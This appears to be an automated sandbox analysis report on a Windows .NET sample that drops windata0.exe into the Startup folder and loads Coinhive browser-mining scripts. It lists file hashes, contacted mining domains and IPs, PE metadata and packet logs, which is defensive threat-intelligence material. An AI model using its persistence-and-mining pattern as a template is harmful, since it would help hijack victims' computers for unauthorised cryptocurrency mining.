Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1BB09BEEC155258835C193A7AA85AA5B_40844D66CCA168B7287809F3A3E01D19
File Type:	data
Size (bytes):	471
Entropy (8bit):	7.276210812854166
Encrypted:	false
MD5:	14E91F09FDA9526AD8A85F7D17F88700
SHA1:	E0F809692900F2C4D4A9FE6EC1F5885CF2526784
SHA-256:	52C6A88FEE8B8649363245B64399FEB5E7F0228254502E7E67D0CE6059F50595
SHA-512:	9D130A9E6913F3B67A7B98160A9648ECF9A73A49D2015FA42C40F152B7EF29776A145C04D9D4455DE01BB0DD7744FE9EC4320683D33BBD76A060C6438B1438E9
Malicious:	false
Reputation:	low

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220
File Type:	data
Size (bytes):	727
Entropy (8bit):	7.53229351088758
Encrypted:	false
MD5:	DC9B979FAE86CF871BAF9E5AB4A5A478
SHA1:	6FFE19464095CBF52E53221CA31CBE017117F2D3
SHA-256:	FBFA74527CBE148337822E63C281A058D82C45D345DA612614925FCE622D42D2
SHA-512:	B9E3E2C8C0F9883D3CDA4EA43F6E089765727CA3C322E84E1066AD7E6C9352767D131BE59F14DF6892CCFFA452688EE50F02067A7526E559AF5F0080C1BADDE5
Malicious:	false
Reputation:	low

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4
File Type:	data
Size (bytes):	471
Entropy (8bit):	7.193233317804181
Encrypted:	false
MD5:	FC98548F1E1D323169EF66A554B962F9
SHA1:	B9B1E9F67DBA1F9B10BE429FB558C1BD199FA2D8
SHA-256:	4AEC773B7CACA5D3B102C65E73F2EFDA50642DFC1FD34E375562A4A39056CAD2
SHA-512:	C8B848422A6E8413A66864E4AE52765156A52CEA48AD86C241E97D44066B48AE77C8DE3F1FDC07DA4FF0C78D7A22A7A7004E6806E08CEC3215B5884DA1034B7B
Malicious:	false
Reputation:	low

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1BB09BEEC155258835C193A7AA85AA5B_40844D66CCA168B7287809F3A3E01D19
File Type:	data
Size (bytes):	808
Entropy (8bit):	3.7680896735090528
Encrypted:	false
MD5:	F744B679AB3A6779CB50321550278FB9
SHA1:	FCB92EEAF70E42CFD86CF454367EB3DA67A7DD89
SHA-256:	A956B0AD052ED895FE5DE4C5E1D1D233E6E108F234BA1ADF42E270281362B8E6
SHA-512:	CB6957807C95E7640B7D1968F0885C7E8FE60C32D107DE70D3BB08E829DD2A73029999FE7AA088D75B04F589ECA0E6519AD6CC25EFEE32F9D30E24351F971DAE
Malicious:	false
Reputation:	low

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220
File Type:	data
Size (bytes):	800
Entropy (8bit):	3.769407366189925
Encrypted:	false
MD5:	42C2521CDEFC8525AB577163C31D5691
SHA1:	F67AB0D19582869C8E9DD26680AE6DB714F769F2
SHA-256:	42DD3E40ABFBC6EA5223696D73C78A5F91545E061F560D906FF1A5E0318F5CF2
SHA-512:	5282785BDAF9555538A9AD721A9E0E469F8A68D49E345FC99DA755CFC6CF9B69CAF6319384A51B6E459B8A6A945C8857EC6519155F9525DAF43EF93B1166A9E1
Malicious:	false
Reputation:	low

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4
File Type:	data
Size (bytes):	796
Entropy (8bit):	3.84553701767003
Encrypted:	false
MD5:	764EE7DF8DF2947F993DF1FA3DD1EBDD
SHA1:	CF2F1334B610689429B5A62E5DEF23124970A41A
SHA-256:	B71F42D783C9061C4D7B14496C5544C55829C77448C35EDC3333AE0BBD6049C6
SHA-512:	EDB959193A0492BEFF0A0B18C5426945D4300874EF50377228E1F736A27720D8FD4A1A0F61ED558F0B61BF890880FB3A81CAE2D770B91570A7A4255F439CA712
Malicious:	false
Reputation:	low

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
File Type:	data
Size (bytes):	340
Entropy (8bit):	3.419963274532199
Encrypted:	false
MD5:	43D59957563725AA0867B1DF58C9BC90
SHA1:	3612E1C49401DE2C63E3AE455C0556AC5F869A40
SHA-256:	222470D61A6923732D7F97F042E76B6376CB19930D579425750EDD36DBDBDDCE
SHA-512:	351348E8A628BD66B4774FEF3285FBBF3C06FF6FFDD8045A84D0ECD6404A528D018780919424D4A3456C0CEE471A4D24D08C79BAF8DCB3A8C367DBF7E33EE3DC
Malicious:	false
Reputation:	low

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\DOMStore\2X9TGATM\coinhive[1].xml
File Type:	ASCII text, with very long lines, with no line terminators
Size (bytes):	16126
Entropy (8bit):	4.924617775876088
Encrypted:	false
MD5:	20F0132C13DC8874A80AE25F449F7638
SHA1:	354B608E0292C14931C7D9A087FE510483E04AC0
SHA-256:	2D30B7C696850630AC895D961E00572C9C46A36E9D54881BE8C06D3763DA6263
SHA-512:	8E3455350C638EA7B128A1330403DC9D3C490F4F9FF432362E04EB3E6597028EB4C8A9292C5E260EF12E4EB61F829C026FDFEC13AF1000E4419C136EE7EC6941
Malicious:	false
Reputation:	low

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\0SCE2KB1\coinhive-icon[1].png
File Type:	PNG image, 512 x 512, 8-bit/color RGBA, non-interlaced
Size (bytes):	8501
Entropy (8bit):	7.526472581679552
Encrypted:	false
MD5:	13FAC981D912AE929117759EF9F2EE56
SHA1:	E46EB6D6AEED95945D4E7AB7148B3C9A253EF604
SHA-256:	9BA77246C8EA90838D94D004A5B4330EB72002F515CC1E2A49AC085907A57429
SHA-512:	3C360F776C859CB7BDBC4809751A9F1C1801769E35F9797A9437659D689A6D9F517C882DC5BEDA5BF13BA507B03E5A165F569217F041AC79FE7E2AB6D3CBBBF6
Malicious:	false
Reputation:	low

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\0SCE2KB1\miner.min[1].js
File Type:	ASCII text, with very long lines, with no line terminators
Size (bytes):	4017
Entropy (8bit):	5.2865194767081665
Encrypted:	false
MD5:	07463FD641E0C30AC45C58E6F819A66A
SHA1:	5835326B7A5D7533B532CA06717728176B09AFA5
SHA-256:	7DD8DCC821570D05429A84F6D28047294BDE56F0A64CC5764134C93E0D9E21A5
SHA-512:	0F2EC35EB74648E05A8CD2958BEBAC611490193827F568983074E237365147643DB861248EF8538DBFFAFA2EAFDA365B3E96A1917338CDD5E25FA546BB04F959
Malicious:	false
Reputation:	low

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\0SCE2KB1\miner[1].htm
File Type:	HTML document text
Size (bytes):	13639
Entropy (8bit):	5.311123652590713
Encrypted:	false
MD5:	4D2F915F09F9E6DD6817BCEB4803A80E
SHA1:	0F88D09CA87426C8E93B1BDB8ACE6BD34C90D3C8
SHA-256:	893C062178CCD6CB083BC6977ABF0E1F6B371707046E8A85054377CCC0B82859
SHA-512:	8758BDF7EC95F9B2601795795438DBE0CF6C2A9F30D90B113558CF8CA334A1B46D4C04E8ADC32A2136F46524AF73A42BF92ABB40C47CE287422C8904AF3481BD
Malicious:	false
Reputation:	low

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\0SCE2KB1\worker-asmjs.min.js[1].mem
File Type:	data
Size (bytes):	8950
Entropy (8bit):	7.777931730373988
Encrypted:	false
MD5:	D2E0FE27EB3BCA37803D2446E9F578E3
SHA1:	6258EC43857DA9445315C30BA1C6812FA5DF919B
SHA-256:	A3A6B452EA3421466EC4A3D3E4C1BFB2F0BA1A6EE11EF28621C2E449D6A11865
SHA-512:	3F37B1A7C40477E4E3DFCC7E674DB72EF80138839E5920BB478E9C04DB1A4DB89992E9EB0D35F76D3926F636794ABC7AB1975305ACA3B77AF589C74B47CF6FD1
Malicious:	false
Reputation:	low

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\0SCE2KB1\worker-asmjs.min[1].js
File Type:	ASCII English text, with very long lines
Size (bytes):	193320
Entropy (8bit):	5.6052191111115155
Encrypted:	false
MD5:	A5416E565AABB173294C1BFFD43DFECF
SHA1:	8060F7BB4E791B1250EF6AF4E1834FF79DCED474
SHA-256:	D66A28ED9A3972DD3BDBA62E1792B9AA032317A9BE90464719D58828993522F9
SHA-512:	C1F84E6D727D7822B0AED14C7E7C5A576558337588B0F3455BBCF7D246E72E7CE0A5F6BA52133974D9215A1479C442C9B9828215FB58CE259F2D1F797F9B5080
Malicious:	false
Reputation:	low

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\64BLG0LB\coinhive.min[1].js
File Type:	ASCII English text, with very long lines
Size (bytes):	63315
Entropy (8bit):	5.578945559128559
Encrypted:	false
MD5:	B29FD0FF9DD0D58042F4749F192385F7
SHA1:	116CB0BD8425DEE9FB6E47C6FE119FA63D1B0E29
SHA-256:	7A4ED680D5E94D437D2C9D41B07349D308A2E724D3C26C51A420DBBFF49ADADD
SHA-512:	89890652A9F9EBC6CB4F96EADFE382CB96975964F91AFF06ECBAE8AB9745E2C678924C775B66E6835007222AB0031CAD039FD6F1A32C142C08440E8C1827E331
Malicious:	false
Reputation:	low

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\64BLG0LB\worker-asmjs.min[1].js
File Type:	ASCII English text, with very long lines
Size (bytes):	193320
Entropy (8bit):	5.6052191111115155
Encrypted:	false
MD5:	A5416E565AABB173294C1BFFD43DFECF
SHA1:	8060F7BB4E791B1250EF6AF4E1834FF79DCED474
SHA-256:	D66A28ED9A3972DD3BDBA62E1792B9AA032317A9BE90464719D58828993522F9
SHA-512:	C1F84E6D727D7822B0AED14C7E7C5A576558337588B0F3455BBCF7D246E72E7CE0A5F6BA52133974D9215A1479C442C9B9828215FB58CE259F2D1F797F9B5080
Malicious:	false
Reputation:	low

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\99ARJTVS\coinhive-icon[1].png
File Type:	PNG image, 512 x 512, 8-bit/color RGBA, non-interlaced
Size (bytes):	8501
Entropy (8bit):	7.526472581679552
Encrypted:	false
MD5:	13FAC981D912AE929117759EF9F2EE56
SHA1:	E46EB6D6AEED95945D4E7AB7148B3C9A253EF604
SHA-256:	9BA77246C8EA90838D94D004A5B4330EB72002F515CC1E2A49AC085907A57429
SHA-512:	3C360F776C859CB7BDBC4809751A9F1C1801769E35F9797A9437659D689A6D9F517C882DC5BEDA5BF13BA507B03E5A165F569217F041AC79FE7E2AB6D3CBBBF6
Malicious:	false
Reputation:	low

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\99ARJTVS\coinhive.min[1].js
File Type:	ASCII English text, with very long lines
Size (bytes):	63315
Entropy (8bit):	5.578945559128559
Encrypted:	false
MD5:	B29FD0FF9DD0D58042F4749F192385F7
SHA1:	116CB0BD8425DEE9FB6E47C6FE119FA63D1B0E29
SHA-256:	7A4ED680D5E94D437D2C9D41B07349D308A2E724D3C26C51A420DBBFF49ADADD
SHA-512:	89890652A9F9EBC6CB4F96EADFE382CB96975964F91AFF06ECBAE8AB9745E2C678924C775B66E6835007222AB0031CAD039FD6F1A32C142C08440E8C1827E331
Malicious:	false
Reputation:	low

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\PPV79B0C\miner.min[1].js
File Type:	ASCII text, with very long lines, with no line terminators
Size (bytes):	4017
Entropy (8bit):	5.2865194767081665
Encrypted:	false
MD5:	07463FD641E0C30AC45C58E6F819A66A
SHA1:	5835326B7A5D7533B532CA06717728176B09AFA5
SHA-256:	7DD8DCC821570D05429A84F6D28047294BDE56F0A64CC5764134C93E0D9E21A5
SHA-512:	0F2EC35EB74648E05A8CD2958BEBAC611490193827F568983074E237365147643DB861248EF8538DBFFAFA2EAFDA365B3E96A1917338CDD5E25FA546BB04F959
Malicious:	false
Reputation:	low

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\PPV79B0C\miner[1].htm
File Type:	HTML document text
Size (bytes):	13639
Entropy (8bit):	5.311123652590713
Encrypted:	false
MD5:	4D2F915F09F9E6DD6817BCEB4803A80E
SHA1:	0F88D09CA87426C8E93B1BDB8ACE6BD34C90D3C8
SHA-256:	893C062178CCD6CB083BC6977ABF0E1F6B371707046E8A85054377CCC0B82859
SHA-512:	8758BDF7EC95F9B2601795795438DBE0CF6C2A9F30D90B113558CF8CA334A1B46D4C04E8ADC32A2136F46524AF73A42BF92ABB40C47CE287422C8904AF3481BD
Malicious:	false
Reputation:	low

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe
File Type:	PE32 executable for MS Windows (GUI) Intel 80386 32-bit Mono/.Net assembly
Size (bytes):	24576
Entropy (8bit):	5.411319087895779
Encrypted:	false
MD5:	26802D3F7895AEB970C47D46B3FE4408
SHA1:	18F40B25FDFA6EF4B4CAE3A1F0738EBCBFD5D423
SHA-256:	231A3FBBC025C659BE407C316ABA4392F8A13915F08580398BCA21082723DBF8
SHA-512:	384271F3E642B0BB48BE6ED862CB425B9AF7AD3AA3FF82BB11208CBE5A4AB184D6A60BB9C77EA26F6F336DA0C9D7D72BFDC3786F84BB2675787520163E976998
Malicious:	true
Reputation:	low

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe:Zone.Identifier
File Type:	ASCII text, with CRLF line terminators
Size (bytes):	26
Entropy (8bit):	3.9500637564362093
Encrypted:	false
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	low

Contacted Domains/Contacted IPs

Contacted Domains

Name	IP	Active	Malicious
ws009.coinhive.com	136.243.89.209	true	false
coinhive.com	94.130.90.154	true	true
ws010.coinhive.com	94.130.129.247	true	false
ws011.coinhive.com	94.130.128.80	true	false
ws012.coinhive.com	94.130.103.71	true	false
ws008.coinhive.com	136.243.91.46	true	false

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

IP	Country	ASN	ASN Name	Malicious
136.243.89.209	Germany	24940	HETZNER-ASDE	false
94.130.129.247	Germany	24940	HETZNER-ASDE	false
94.130.128.80	Germany	24940	HETZNER-ASDE	false
136.243.91.46	Germany	24940	HETZNER-ASDE	false
94.130.90.154	Germany	24940	HETZNER-ASDE	false
94.130.103.71	Germany	24940	HETZNER-ASDE	false

Static File Info

General
File type:	PE32 executable for MS Windows (GUI) Intel 80386 32-bit Mono/.Net assembly
Entropy (8bit):	5.411319087895779
TrID:	Win32 Executable (generic) a (10002005/4) 99.04% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.73% Windows Screen Saver (13104/52) 0.13% Java Script embedded in Visual Basic Script (4500/0) 0.04% Win16/32 Executable Delphi generic (2074/23) 0.02%
File name:	Fc4oWdmbpJ.exe
File size:	24576
MD5:	26802d3f7895aeb970c47d46b3fe4408
SHA1:	18f40b25fdfa6ef4b4cae3a1f0738ebcbfd5d423
SHA256:	231a3fbbc025c659be407c316aba4392f8a13915f08580398bca21082723dbf8
SHA512:	384271f3e642b0bb48be6ed862cb425b9af7ad3aa3ff82bb11208cbe5a4ab184d6a60bb9c77ea26f6f336da0c9d7d72bfdc3786f84bb2675787520163e976998
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...H..Y.................L...........k... ........@.. ....................................@................................

File Icon

Static PE Info

General
Entrypoint:	0x406bde
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x59D8B748 [Sat Oct 07 11:15:20 2017 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6b84	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xa000	0xaf8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xc000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x8000	0x1c	.sdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x4be4	0x4c00	False	0.488846628289	ump; data	5.77827176311	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.sdata	0x8000	0xe1	0x200	False	0.32421875	ump; data	3.06276340901	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0xa000	0xaf8	0xc00	False	0.284830729167	ump; data	3.84340168304	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xc000	0xc	0x200	False	0.044921875	ump; data	0.0815394123432	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type
RT_ICON	0xa4d0	0x2e8	ump; data
RT_ICON	0xa7b8	0x128	ump; GLS_BINARY_LSB_FIRST
RT_GROUP_ICON	0xa8e0	0x22	ump; MS Windows icon resource - 2 icons, 32x32, 16-colors
RT_VERSION	0xa160	0x370	ump; data
RT_MANIFEST	0xa908	0x1ea	ump; XML document text

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	Copyright 2017
Assembly Version	1.0.0.0
InternalName	d4eade42751d70b2eee7875ce3635c7b.exe
FileVersion	1.0.0.0
ProductName	d4eade42751d70b2eee7875ce3635c7b
ProductVersion	1.0.0.0
FileDescription	d4eade42751d70b2eee7875ce3635c7b
OriginalFilename	d4eade42751d70b2eee7875ce3635c7b.exe

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 3, 2018 13:35:38.851198912 MEZ	63700	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:35:39.837897062 MEZ	63700	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:35:40.742520094 MEZ	53	63700	8.8.8.8	192.168.1.81
Jan 3, 2018 13:35:40.742577076 MEZ	53	63700	8.8.8.8	192.168.1.81
Jan 3, 2018 13:35:40.772387028 MEZ	49162	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:40.772424936 MEZ	443	49162	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:40.772497892 MEZ	49162	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:40.817771912 MEZ	49162	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:40.817796946 MEZ	443	49162	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:43.173144102 MEZ	54244	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:35:43.485451937 MEZ	443	49162	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:43.485492945 MEZ	443	49162	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:43.485505104 MEZ	443	49162	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:43.485579014 MEZ	49162	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:43.485598087 MEZ	443	49162	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:43.485821009 MEZ	49162	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:43.540313005 MEZ	49162	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:43.540353060 MEZ	443	49162	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:43.584769964 MEZ	53	54244	8.8.8.8	192.168.1.81
Jan 3, 2018 13:35:43.598614931 MEZ	49163	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:43.598680019 MEZ	443	49163	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:43.598797083 MEZ	49163	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:43.608707905 MEZ	49163	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:43.608757973 MEZ	443	49163	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:44.353888988 MEZ	443	49162	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:44.354130983 MEZ	49162	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:44.825195074 MEZ	60413	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:35:45.720307112 MEZ	443	49163	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:45.720341921 MEZ	443	49163	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:45.720349073 MEZ	443	49163	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:45.720484018 MEZ	49163	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:45.822861910 MEZ	60413	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:35:45.897289991 MEZ	443	49163	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:45.897387981 MEZ	53	60413	8.8.8.8	192.168.1.81
Jan 3, 2018 13:35:45.897433043 MEZ	49163	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:45.916862965 MEZ	49163	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:45.916888952 MEZ	443	49163	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:45.921220064 MEZ	49912	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:35:46.720149994 MEZ	53	60413	8.8.8.8	192.168.1.81
Jan 3, 2018 13:35:46.802314997 MEZ	53	49912	8.8.8.8	192.168.1.81
Jan 3, 2018 13:35:46.802361965 MEZ	443	49163	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:46.802514076 MEZ	49163	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:47.110796928 MEZ	62993	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:35:48.020035982 MEZ	53	62993	8.8.8.8	192.168.1.81
Jan 3, 2018 13:35:48.033242941 MEZ	58780	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:35:48.666445971 MEZ	53	58780	8.8.8.8	192.168.1.81
Jan 3, 2018 13:35:48.863682985 MEZ	54934	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:35:49.440798044 MEZ	53	54934	8.8.8.8	192.168.1.81
Jan 3, 2018 13:35:49.472912073 MEZ	62845	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:35:49.946366072 MEZ	53	62845	8.8.8.8	192.168.1.81
Jan 3, 2018 13:35:50.450830936 MEZ	57200	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:35:51.056837082 MEZ	53	57200	8.8.8.8	192.168.1.81
Jan 3, 2018 13:35:51.123518944 MEZ	53499	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:35:51.507478952 MEZ	53	53499	8.8.8.8	192.168.1.81
Jan 3, 2018 13:35:51.937578917 MEZ	62060	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:35:52.716613054 MEZ	53	62060	8.8.8.8	192.168.1.81
Jan 3, 2018 13:35:52.744200945 MEZ	51380	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:35:52.830571890 MEZ	55175	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:35:53.231797934 MEZ	53	51380	8.8.8.8	192.168.1.81
Jan 3, 2018 13:35:53.325555086 MEZ	53	55175	8.8.8.8	192.168.1.81
Jan 3, 2018 13:35:53.333937883 MEZ	65476	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:35:53.815157890 MEZ	53	65476	8.8.8.8	192.168.1.81
Jan 3, 2018 13:35:54.038619041 MEZ	52882	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:35:54.455413103 MEZ	49433	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:35:54.508843899 MEZ	53	52882	8.8.8.8	192.168.1.81
Jan 3, 2018 13:35:54.521414995 MEZ	49917	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:35:54.862912893 MEZ	53	49433	8.8.8.8	192.168.1.81
Jan 3, 2018 13:35:54.870981932 MEZ	49841	53	192.168.1.81	8.8.8.8
Jan 3, 2018 13:35:54.955291033 MEZ	53	49917	8.8.8.8	192.168.1.81
Jan 3, 2018 13:35:55.321779966 MEZ	53	49841	8.8.8.8	192.168.1.81
Jan 3, 2018 13:35:55.507608891 MEZ	49162	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:55.507644892 MEZ	443	49162	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:55.982136011 MEZ	49163	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:55.982167006 MEZ	443	49163	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:55.989754915 MEZ	443	49162	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:55.989777088 MEZ	443	49162	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:55.990298986 MEZ	49162	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:56.122231960 MEZ	49162	443	192.168.1.81	94.130.90.154
Jan 3, 2018 13:35:56.122266054 MEZ	443	49162	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:56.350852966 MEZ	443	49163	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:56.350887060 MEZ	443	49163	94.130.90.154	192.168.1.81
Jan 3, 2018 13:35:56.351085901 MEZ	49163	443	192.168.1.81	94.130.90.154
